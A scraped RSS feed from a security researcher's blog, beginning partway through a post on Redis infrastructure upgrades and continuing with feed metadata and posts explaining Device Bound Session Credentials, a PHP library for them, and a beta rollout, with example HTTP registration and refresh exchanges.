        6) &quot;&quot;</code></pre><p></p><p>This also made our Redis resource graphs much more smooth by removing some of the huge peaks caused by these reads and also stopped other clients stalling out for brief periods when the main thread was busy. Overall, a nice improvement.</p><p></p><h4 id="add-more-cloud">Add more cloud</h4><p>You can solve a lot of problems by throwing more money at them, but we tend to hold out and only use this as a last resort when it&apos;s the proper solution to a problem. The Redis caches that handle our inbound telemetry are doing a lot of work for us, and despite all of our optimisations, we arrived at the conclusion that they needed more resources. The Sentinel servers have been doing awesome and will probably be able to cope for the foreseeable future, especially after the <code>pconnect()</code> upgrade significantly reduced the load on them, but our main caches did get an upgrade.</p><p></p><pre><code>redis-report-cache-primary
    in Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-replica
    in Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-01
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-02
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-03
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-04
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report</code></pre><p></p><p>Thanks to the High Availability deployment with Sentinel, this was a simple case of pulling the replica down, upgrading the server, and bringing it back online. Once the replica had fully caught up, we triggered a failover so the upgraded replica became the primary, and then we could pull down the other server which was now acting as the replica for its upgrades. Nice and easy! This upgrade didn&apos;t add a huge amount of cost, but it has added a huge amount of headroom when it comes to the capability of the servers, giving us some breathing room well into the future.</p><p></p><h4 id="future-ideas">Future ideas</h4><p>We&apos;ve considering pushing read traffic against the Redis replica before now, but there are a few scenarios where this isn&apos;t going to work particularly well for us. The main problem is that we have a volatile dataset of inbound telemetry that is undergoing significant write velocity, so reading from that needs to be done carefully. We also use Redis for various atomic write-locks in several code paths so we need the read-after-write consistency that we&apos;d lose during the sync to the replica. For now, our optimisations seem to be providing significant benefits and our infrastructure looks like it can handle a lot more before we need to consider further changes or upgrades. If you have any other suggestions on how can improve or anything worth tweaking that might help us, please feel free to drop them in the comments below!</p><p></p>]]></content:encoded></item></channel></rss>
    Raw headers
    {
      "accept-ranges": "bytes",
      "age": "92189",
      "alt-svc": "clear",
      "cache-control": "public, max-age=0",
      "cf-cache-status": "DYNAMIC",
      "cf-ray": "a0b1b38a64bbc424-CMH",
      "connection": "keep-alive",
      "content-length": "259424",
      "content-type": "application/rss+xml; charset=utf-8",
      "date": "Sat, 13 Jun 2026 14:14:23 GMT",
      "etag": "W/\"3f560-XgL6hzjGAAMUqUlkZk9km6RIlUw\"",
      "ghost-fastly": "true;production",
      "link": "</llms.txt>; rel=\"llms-txt\", </llms-full.txt>; rel=\"llms-full-txt\"",
      "server": "cloudflare",
      "status": "200 OK",
      "vary": "Cookie",
      "via": "1.1 varnish, 1.1 varnish, 1.1 varnish",
      "x-cache": "MISS, HIT, HIT",
      "x-cache-hits": "0, 5, 0",
      "x-llms-txt": "/llms.txt",
      "x-request-id": "62ff85fc-f2e3-49cd-a957-feac115c5edf",
      "x-served-by": "cache-ams21061-AMS, cache-ams21061-AMS, cache-ams2100100-AMS, cache-cmh1290066-CMH",
      "x-timer": "S1781360063.143822,VS0,VE1"
    }
    Parsed with @rowanmanning/feed-parser
    {
      "meta": {
        "type": "rss",
        "version": "2.0"
      },
      "language": null,
      "title": "Scott Helme",
      "description": "Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.",
      "copyright": null,
      "url": "https://scotthelme.ghost.io/",
      "self": "https://scotthelme.ghost.io/rss/",
      "published": null,
      "updated": "2026-06-12T12:37:54.000Z",
      "generator": {
        "label": "Ghost 6.45",
        "version": null,
        "url": null
      },
      "image": {
        "title": "Scott Helme",
        "url": "https://scotthelme.ghost.io/favicon.png"
      },
      "authors": [],
      "categories": [],
      "items": [
        {
          "id": "6a244e5d2b2c280001660c90",
          "title": "Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP",
          "description": "<p>We’ve open-sourced <a href=\"https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It's MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"what-is-dbsc\">What is DBSC?</h4><p>If you'd</p>",
          "url": "https://scotthelme.ghost.io/open-sourcing-dbsc-php-a-server-library-for-device-bound-session-credentials-in-php/",
          "published": "2026-06-08T14:00:56.000Z",
          "updated": "2026-06-08T14:00:56.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png\" alt=\"Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP\"><p>We’ve open-sourced <a href=\"https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It's MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png\" class=\"kg-image\" alt=\"Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"what-is-dbsc\">What is DBSC?</h4><p>If you'd like to know more about DBSC, you should start with my blog post <a href=\"https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials: Making Stolen Cookies Useless</a> as that will cover everything you need to know. In short, DBSC lets a browser bind a session cookie to a device-held private key, so a stolen cookie alone is no longer enough to use the session elsewhere.</p><p>Alongside open-sourcing this library for the community, we're also running a <a href=\"https://scotthelme.co.uk/dbsc-beta-at-report-uri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">beta of DBSC at Report URI</a> using this very code, so check it out. </p><p></p><h4 id=\"why-we-built-it\">Why we built it</h4><p>We deployed DBSC on Report URI and quickly found that the gap between \"what the spec says\" and \"how do we do that\" is wide enough to fall into. Several behaviours only surface once you're integrating against a real browser, and getting them subtly wrong means enforcement silently does nothing — leaving you with exactly the stolen-cookie hole DBSC exists to close.</p><p>Rather than keep those hard-won corrections to ourselves, we've packaged them up. The library is around 700 lines with zero dependencies beyond <code>ext-openssl</code> and <code>ext-json</code> — small enough to audit in one sitting. The crypto is deliberately minimal: ES256 only, signature plus a single-use challenge nonce.</p><p></p><h4 id=\"what-we-got-wrong-so-you-dont-have-to\">What we got wrong (so you don't have to)</h4><p>The library is useful, but the wire-protocol notes in the README are where a lot of the hard-won implementation value lives. A few of the corrections baked into the library:</p><p></p><ul><li>Registration is single-phase; refresh is two-phase (a 403 with a challenge, then a 200). That's the opposite of how the spec reads at first glance.</li><li>Both the cookie value and the challenge must rotate on every refresh. Re-emit the same cookie value and Chrome decides no refresh happened and terminates<br>the session.</li><li>No <code>Secure-Session-Challenge</code> on the registration response, or Chrome reports a Challenge Error.</li><li><code>challengeTtl</code> must exceed <code>cookieMaxAge</code> so a challenge cached just before cookie expiry is still valid when it's used. The <code>Config</code> constructor enforces this<br>for you.</li></ul><p></p><p>There's also one non-obvious correctness requirement that bit us in production: keep DBSC state in its own dedicated key space, keyed by session id — never inside a read-modify-written shared session blob. We originally stored it in the PHP session, where the post-login navigation races the registration POST, both rewrite the whole blob last-writer-wins, and the binding gets clobbered. Enforcement then silently no-ops. <code>StoreInterface</code> documents the requirement; back it with Redis or a table and you're fine.</p><p></p><h4 id=\"framework-agnostic-by-design\">Framework-agnostic by design</h4><p>The library never touches a superglobal, sends a header, or sets a cookie. Every operation takes a <code>RequestContext</code> you build from your framework's request and returns a <code>DbscResponse</code> you apply to your framework's response. Storage is yours — implement <code>StoreInterface</code> against whatever you already run (an <code>InMemoryStore</code> is bundled for tests and the demo).</p><p></p><pre><code class=\"language-php\">use ReportUri\\Dbsc{Config, DbscServer};\n\n$dbsc = new DbscServer(new Config(cookieName: '__Host-myapp_dbsc'), $myStore);</code></pre><p></p><p>A complete reference front controller lives in <code>_test/server.php</code>, and there's a self-contained test harness that generates a real EC P-256 device key, builds the JWTs exactly as Chrome does, and drives the full register/refresh/enforce/revoke flow plus the attack cases — wrong device key, wrong or expired challenge, stale cookie, <code>alg=none</code>.</p><p></p><h4 id=\"getting-started\">Getting Started</h4><p>DBSC is one of the most meaningful upgrades to session security in years, and the cost of adopting it is genuinely low. If you're running PHP and want to start binding sessions to devices, this should save you a lot of effort. Issues and PRs welcome.</p><p>Packagist: <a href=\"https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io\" rel=\"noreferrer\">report-uri/dbsc-php</a><br>Source & docs: <a href=\"https://github.com/report-uri/dbsc-php?ref=scotthelme.ghost.io\">https://github.com/report-uri/dbsc-php</a><br>The spec: <a href=\"https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io\" rel=\"noreferrer\">w3c/webappsec-dbsc</a></p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "DBSC",
              "term": "DBSC",
              "url": null
            },
            {
              "label": "PHP",
              "term": "PHP",
              "url": null
            }
          ]
        },
        {
          "id": "6a200eb4b5ac0c00013dfa00",
          "title": "DBSC Beta at Report URI",
          "description": "<p>This week, I published a blog post about <a href=\"https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we're announcing the beta of DBSC at Report URI!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.co/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png\" class=\"kg-image\" alt loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"device-bound-session-credentials\">Device Bound Session Credentials</h4><p>You should definitely</p>",
          "url": "https://scotthelme.ghost.io/dbsc-beta-at-report-uri/",
          "published": "2026-06-05T14:22:22.000Z",
          "updated": "2026-06-05T14:22:22.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png\" alt=\"DBSC Beta at Report URI\"><p>This week, I published a blog post about <a href=\"https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we're announcing the beta of DBSC at Report URI!</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.co/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png\" class=\"kg-image\" alt=\"DBSC Beta at Report URI\" loading=\"lazy\" width=\"800\" height=\"70\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h4 id=\"device-bound-session-credentials\">Device Bound Session Credentials</h4><p>You should definitely check out my blog post from yesterday for the full details - <a href=\"https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io\">Device Bound Session Credentials: Making Stolen Cookies Useless</a></p><p>The TLDR is that cookies are now bound to the device that they were issued to, so if an attacker is able to steal a cookie from your device, it's no longer possible to session-hijack you and take over your account. This is an increasingly common pattern that we're seeing with recent Infostealer malware strains, and is a change in strategy for attackers as account security surrounding passwords, 2FA and Passkeys continues to improve. </p><p></p><h4 id=\"joining-the-beta\">Joining the Beta</h4><p>As noted in my blog post linked above, DBSC is currently only supported in Chrome on Windows, with macOS coming soon, but if that works for you, you can request to join the current beta.</p><p>Simply drop an email to support@ from your registered email address and request to join the DBSC Beta. Once your account has been added to the beta, you can log out and log in again, and then you will be able to see if your session is device bound on the Settings -> Manage Sessions section of your account. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png\" class=\"kg-image\" alt=\"DBSC Beta at Report URI\" loading=\"lazy\" width=\"920\" height=\"352\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png 920w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>It's as simple as that, and now you have an incredibly robust protection on your account!</p><p></p><h4 id=\"feedback\">Feedback</h4><p>As this is a beta, we’re especially interested in feedback on browser compatibility, session behaviour, and anything unexpected during login or session management. If you experience any problems at all, or have any feedback, just let us know.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "DBSC",
              "term": "DBSC",
              "url": null
            }
          ]
        },
        {
          "id": "6a0b32f508297800018dba89",
          "title": "Device Bound Session Credentials: Making Stolen Cookies Useless",
          "description": "<p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn’t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That’s why info-stealers love browser</p>",
          "url": "https://scotthelme.ghost.io/device-bound-session-credentials-making-stolen-cookies-useless/",
          "published": "2026-06-02T10:59:38.000Z",
          "updated": "2026-06-02T10:59:38.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png\" alt=\"Device Bound Session Credentials: Making Stolen Cookies Useless\"><p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn’t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That’s why info-stealers love browser cookies: they turn the messy business of account compromise into a simple copy and paste operation. Device Bound Session Credentials, or DBSC, neutralise this attack by making the cookie useful on the single device where the user logged in, and nowhere else. </p><p></p><h3 id=\"authentication-is-getting-stronger-sessions-are-still-weak\">Authentication Is Getting Stronger, Sessions Are Still Weak</h3><p>I tweeted about this anecdotally recently but I really do feel like this point stands, and it's something that really struck me at the time.</p>\n<!--kg-card-begin: html-->\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">It’s kind of crazy that after all the progress we’ve made with passwords, 2FA, and now passkeys, the end result is still just… a cookie!<br><br>Attackers will follow the value and take the path of least resistance, and that means shifting to abusing the authenticated session instead.… <a href=\"https://t.co/gGBbv81N7r?ref=scotthelme.ghost.io\">https://t.co/gGBbv81N7r</a></p>— Scott Helme (@Scott_Helme) <a href=\"https://twitter.com/Scott_Helme/status/2046950139810447509?ref_src=twsrc%5Etfw&ref=scotthelme.ghost.io\">April 22, 2026</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n<!--kg-card-end: html-->\n<p></p><p>I've long pushed for things that help boost account security, all of the things mentioned in my tweet. We all know they're a good idea and it's most likely that if you're here reading this post on my blog, a security/technical blog, you probably have all of these bases covered. </p><ul><li>Strong, unique passwords on your accounts, probably in a password manager.</li><li>2FA enabled, most likely TOTP. </li><li>Passkeys where supported, they're gaining momentum.</li></ul><p></p><p>But what I said in that tweet is right, if not a little limited on character count. All of those steps are for the initial authentication. The first time you land on the site and want to log in, you have to prove who you are, you have to authenticate. You punch in your password, supply your TOTP code, and the website says \"Hi Scott\". They've successfully authenticated you. But now we have a problem, because HTTP is a stateless protocol. I don't want to have to provide my password and TOTP code on every single request to prove who I am, I want the website to remember who I am. I want to maintain state!</p><pre><code>set-cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>This little cookie, issued to us after we successfully authenticated, is exactly how we do that. This is how the website remembers that I am Scott, and all I have to do is provide it with each request that I send.</p><pre><code>cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>When the website receives a request with that cookie, it can look it up in the session store and say \"Aha! This is Scott\".</p><p>That's it, that's all we get. That little string of characters called a cookie. No matter how good your password is, how many 2FA mechanisms you have, and whether or not you're up to your eyeballs in passkeys, that cookie is now your proof of identity. This is also why they're so dangerous, because when an attacker steals it, they become you. </p><p></p><h3 id=\"the-path-of-least-resistance\">The Path of Least Resistance</h3><p>As account security improves, traditional attacks are becoming more difficult for attackers. In distant times they might have had a field day with a good password dictionary, but now, on the modern Web, attackers have had to become more sophisticated. Yes, phishing is still the most likely attack to be effective against users right now, but if passkeys keep gaining momentum, attackers are going to lose that arrow from their quiver too. When that happens, they'll do what they always do and move to the next weakest link in the chain, and we're already seeing signs that this is happening with the rise of the InfoStealer threat.</p><p>MITRE tracks <a href=\"https://attack.mitre.org/techniques/T1539/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Steal Web Session Cookie</a> as a real adversary technique because stolen session cookies can allow an attacker to access services as an already-authenticated user, without needing the user’s credentials.</p><p>Microsoft <a href=\"https://www.microsoft.com/en-us/security/blog/2026/02/02/infostealers-without-borders-macos-python-stealers-and-platform-abuse/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">describes</a> modern InfoStealers as malware that collects not just passwords, but also session cookies and authentication tokens, which makes them directly relevant to post-login session hijacking.</p><p>Google <a href=\"https://knowledge.workspace.google.com/admin/security/prevent-cookie-theft-with-session-binding?ref=scotthelme.ghost.io\" rel=\"noreferrer\">describes</a> cookie theft as an attack where malware steals a user’s session cookie, allowing the attacker to impersonate the user and continue their authenticated session.</p><p></p><p>InfoStealers have changed the economics of account takeover. Attackers no longer need to defeat the login process if they can steal the session artefacts created after the login process has already taken place. That makes session cookies an obvious target: steal the cookie, replay the session, and bypass login security altogether.</p><p></p><h3 id=\"device-bound-session-credentials\">Device Bound Session Credentials</h3><p>To neutralise the off-device replay of a stolen cookie, to even know that a cookie has been stolen and is being abused by an attacker, the application only needs to answer a simple question.</p><blockquote>Is this cookie being sent from the same device it was issued to?</blockquote><p></p><p>That is the promise of Device Bound Session Credentials (<a href=\"https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">spec</a>). DBSC turns a normal bearer-style session cookie into something much stronger: a session that is cryptographically bound to the device it was issued to. The core benefit is simple and powerful: <strong>a stolen cookie is no longer enough</strong>.</p><p>Today, applications often try to detect suspicious session use with signals like source IP, user agent strings, geolocation, device fingerprints, or behavioural checks. Those signals can be useful, but they are also noisy, unreliable, easy to change, and can raise valid privacy concerns. DBSC takes a clean approach. Instead of the application trying to infer whether a request came from the original device, the browser can prove it.</p><p>It does that using asymmetric cryptography. During registration, the browser generates a new key pair for the session. The private key remains securely on the device, while the public key is shared with the application. Later, when the application needs to refresh the short-lived session cookie, the browser must prove possession of the private key. If it can produce a valid signature, the application knows the request came from the device that created the session. If an attacker only has a stolen cookie, but not the private key, the session cannot be refreshed.</p><p>That changes the value of a stolen cookie dramatically. Instead of being a portable bearer token that can be replayed from anywhere, the cookie becomes tied to the original device. Stealing it is no longer enough to take over the session.</p><p></p><h3 id=\"dbsc-registration\">DBSC Registration</h3><p>An application that supports DBSC indicates this to the browser by returning an HTTP response header:</p><p><code>Secure-Session-Registration: (ES256); path=\"/dbsc/register\"; challenge=\"abc123\"</code></p><p></p><p>If the browser supports DBSC, it now knows where it can register the session and enable protection. To do that, the browser will generate a new key pair and sign the challenge with the private key. The public key and signed challenge are then returned to the application, which will verify the signature. If the signature validates, the application can store the public key against the session and issue a new short-lived cookie. Subsequent requests will now be required to include this short-lived cookie, which should be valid for a very short period of time, perhaps 3-5 minutes at most. Here's a diagram to give a nice overview of the DBSC Registration process.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png\" class=\"kg-image\" alt=\"Device Bound Session Credentials: Making Stolen Cookies Useless\" loading=\"lazy\" width=\"1055\" height=\"1491\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-registration.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-registration.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-registration.png 1055w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>As the DBSC cookie is only valid for a very short period, it is of course going to need to be renewed quite regularly, but we don't want that process to have a negative impact on the responsiveness of the site. To make sure that doesn't happen, the browser will proactively renew the DBSC cookie before expiry, in the background, as required. In step 4 above, when the DBSC registration was confirmed, the application will return a JSON payload similar to this:</p><pre><code class=\"language-http\">HTTP/1.1 200 OK\nContent-Type: application/json\nSec-Secure-Session-Id: 9c2b7f3e1a\nSet-Cookie: dbsc=5e0a91c4d7; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=300</code></pre><pre><code class=\"language-json\">{\n  \"session_identifier\": \"9c2b7f3e1a\",\n  \"refresh_url\": \"/dbsc/refresh\",\n  \"scope\": {\n    \"origin\": \"https://report-uri.com\",\n    \"include_site\": false\n  },\n  \"credentials\": [\n    {\n      \"type\": \"cookie\",\n      \"name\": \"dbsc\",\n      \"attributes\": \"Path=/; Secure; HttpOnly; SameSite=Lax\"\n    }\n  ]\n}</code></pre><p></p><p>The browser has now set the DBSC cookie on the device and it has the information on where to refresh the cookie, and how often it needs to do it.</p><p></p><h3 id=\"dbsc-refresh\">DBSC Refresh</h3><p>The refresh process for DBSC is also really simple, and there can be a two-step process or a one-step process, depending on the circumstances. I will go through the two-step process and cover everything, but most of the time you're only ever going to see the one-step process.</p><p>There are two circumstances where the browser is going to refresh the DBSC cookie:</p><ol><li>You're actively browsing a site and the DBSC cookie is approaching expiration. The browser will proactively and transparently refresh the DBSC cookie in the background, with no interruption to your browsing. </li><li>You navigate to a site where you're still logged in but the DBSC cookie has since expired, or perhaps you bring an old/dormant tab back to focus where the DBSC cookie has expired. The browser will first refresh the DBSC cookie and then conduct the navigation/reload.</li></ol><p></p><p>To start the refresh process, the browser will send a request to the refresh endpoint advertised when DBSC was registered above. Step 1:</p><pre><code class=\"language-http\">POST /dbsc/refresh HTTP/1.1\nHost: report-uri.com\nSec-Secure-Session-Id: 9c2b7f3e1a\nContent-Length: 0</code></pre><p></p><p>The application will then respond and issue the challenge to the browser:</p><pre><code class=\"language-http\">HTTP/1.1 403 Forbidden\nSecure-Session-Challenge: \"def456\"; id=\"9c2b7f3e1a\"\nSec-Secure-Session-Id: 9c2b7f3e1a\nContent-Length: 0</code></pre><p></p><p>Now the browser has the challenge we can move on to Step 2. The browser will prove possession of the private key by signing the challenge and returning it to the application.</p><pre><code class=\"language-http\">POST /dbsc/refresh HTTP/1.1\nHost: report-uri.com\nSec-Secure-Session-Id: 9c2b7f3e1a\nContent-Type: application/jwt\nContent-Length: 1337\n\neyJhbGciOiJFUzI1NiIsInR5cCI6Imp3dCJ9.eyJhdWQiOiJodHRwczovL3JlcG9ydC11cmku\nY29tL2Ric2MvcmVmcmVzaCIsImp0aSI6ImtRMnZOOWFaN3RSNHhXMXBMNnlKM21FOHNCNWRI\nY1VmIiwiaWF0IjoxNzE2MjMwNDAwLCJzdWIiOiI3ZjNjMWE5MGIyNGU0ZDhlOWMxYThiN2Yz\nYzFhOTBiMiJ9.MEUCIQDx7w...truncated</code></pre><p></p><p>The application can now verify that signature using the public key stored against the session and if it validates, the browser has proven possession of the private key, so we can issue a new DBSC cookie.</p><pre><code class=\"language-http\">HTTP/1.1 200 OK\nSet-Cookie: dbsc=R8wF2nQ6yV; Max-Age=300; Path=/; Secure; HttpOnly; SameSite=Lax\nSecure-Session-Challenge: \"ghi789\"; id=\"9c2b7f3e1a\"\nSec-Secure-Session-Id: 9c2b7f3e1a\nContent-Type: application/json\nContent-Length: 312</code></pre><pre><code class=\"language-json\">{\n  \"session_identifier\": \"9c2b7f3e1a\",\n  \"refresh_url\": \"/dbsc/refresh\",\n  \"scope\": { \n    \"origin\": \"https://report-uri.com\",\n    \"include_site\": false,\n    \"scope_specification\": [] \n  },\n  \"credentials\": [\n    { \n      \"type\": \"cookie\",\n      \"name\": \"dbsc\",\n      \"attributes\": \"Path=/; Secure; HttpOnly; SameSite=Lax\"\n    }\n  ]\n}</code></pre><p></p><p>The browser now has a new DBSC cookie that it can use until it needs refreshing, at which point, the process will repeat. Here's a diagram to give an overview of the full two-step refresh process.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png\" class=\"kg-image\" alt=\"Device Bound Session Credentials: Making Stolen Cookies Useless\" loading=\"lazy\" width=\"1055\" height=\"1491\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/dbsc-refresh.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/dbsc-refresh.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc-refresh.png 1055w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h3 id=\"optimising-for-one-step-refresh-rather-than-two-step\">Optimising for one-step refresh rather than two-step</h3><p>The difference between a two-step refresh process and a one-step refresh process is whether or not the browser already has a challenge it can sign and return to the server to refresh the DBSC cookie. The challenge is communicated to the browser in the <code>Secure-Session-Challenge</code> HTTP response header. If we look at the two roundtrips to the refresh endpoint above, the browser sent a empty POST in the first one, indicating it has no challenge. The application responds with a 403 and</p><pre><code class=\"language-http\">Secure-Session-Challenge: \"def456\"; id=\"9c2b7f3e1a\"\n</code></pre><p></p><p>The browser then signed this challenge and returned it to the refresh endpoint. The application responded with a 200 and 